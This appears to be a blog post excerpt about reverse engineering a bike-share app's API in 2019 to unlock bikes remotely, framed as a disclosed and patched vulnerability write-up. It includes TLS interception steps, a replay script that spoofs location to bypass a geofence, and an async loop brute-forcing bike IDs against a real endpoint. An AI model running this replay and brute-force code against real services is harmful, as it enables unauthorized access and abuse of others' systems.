← Back Reverse engineering Lyft bikes for fun (and profit?) January 2026 · 12 min read Subscribe →
One cold San Francisco summer morning in Haight-Ashbury, my commute down to Market was interrupted by the sight of a lucky duck taking the last Lyft bike – again.
"I should really just wake up 15 minutes earlier", I thought, fleetingly. Then instead proceeded to spend the next month reverse engineering Lyft's private API, bypassing SSL encryption, chasing loose bikes across the city, triggering an internal incident, and somehow making a profit.
I learned a lot doing this, so I'm writing it up in case you might too.
Technical summary, for the impatient (spoilers!) Goal: Remotely unlock a Lyft bike. Steps: Capturing iOS App Encrypted Traffic – to re-construct request Replaying Modified Unlock Request – to bypass geofence Brute-forcing Bike ID – since not available remotely Capturing iOS App Encrypted Traffic I used Charles Proxy to capture outgoing requests from the Lyft app on my iPhone. Charles supports SSL Proxying , which injects its own ephemeral certificates during SSL handshake, making sure requests from both sides are being signed with keys it controls. This allows us to decrypt, read, and re-encrypt traffic in transit. The ephemeral certificates are signed by a Charles Certificate Authority, which needs to be installed on your phone so Charles's certificates are not rejected. SSL traffic content is then viewable. Replaying Modified Unlock Request From the Charles captures, we see the unlock request uses a rent endpoint with the following structure: POST "https://layer.bicyclesharing.net/mobile/v2/fgb/rent" HEADERS { "api-key": "sk-XXXXX", "authorization": "bearer-XXXXX", ... } DATA { "userLocation": { "lat": 37.7714859, "lon": -122.4449036 }, "qrCode": { "memberId": "user-XXXXX", "qrCode": "12345" }, ... } A simple python replay script: import requests url="https://layer.bicyclesharing.net/mobile/v2/fgb/rent" headers={ "api-key": "sk-XXXXX", "authorization": "bearer-XXXXX", } station_coords = { "lat": 37.7730627, "lon": -122.4390777 } # from maps bike_id = "12345" # dummy id data={ "userLocation": station_coords, "qrCode": { "memberId": "user-XXXXX", "qrCode": bike_id}, } requests.post(url, headers=headers, json=data) Brute-forcing Bike ID Bike IDs are only accessible through the physical bikes (not counting eBikes, which were out of scope), to unlock one remotely, we need to brute force it. Five-digit IDs, but in practice only the 10000 to 20000 range is used, so 10,000 IDs to try. A naive implementation takes ~3 hours: def payload(i): return { "userLocation": station_coords, "qrCode": { "memberId": "mem123", "qrCode": i}, } def send_one(i): requests.post(url, headers=headers, json=payload(i)) for i in range(10_000, 20_000): send_one(i) But we can use asyncio and aiohttp to reduce that to ~15 seconds: import asyncio, aiohttp async def send_one(session, i): # non-blocking async with session.post(url, headers=headers, json=payload(i)): pass async def main(): async with aiohttp.ClientSession() as s: tasks = [send_one(s, i) for i in range(10_000, 20_000)] # start all await asyncio.gather(*tasks) # wait for all asyncio.run(main()) Et voilà.
Disclaimer: This writeup is meant for educational purposes only. Vulnerabilities discussed here were disclosed to Lyft in 2019, who promptly responded and patched them. Not long after, they also introduced bike reservations as an official feature, solving my original problem and rendering the below techniques obsolete.
Table Of Contents
The Acquisition
Back in 2019 Lyft Bikes (BayWheels) used to be called Ford GoBikes, and used to be unlocked on a per-station basis. You'd generate a temporary code for a specific station on your app, then punch it into that station which would release a random bike.
My goal was to make sure nobody would take a bike while I was on-route to the station, so what if I just kept manually generating codes until I arrived? Maybe that might block others from doing so. So I tried it. No luck. Generating a code didn't block others, and that was the only way to unlock bikes. Welp, nothing left to try...
... continue reading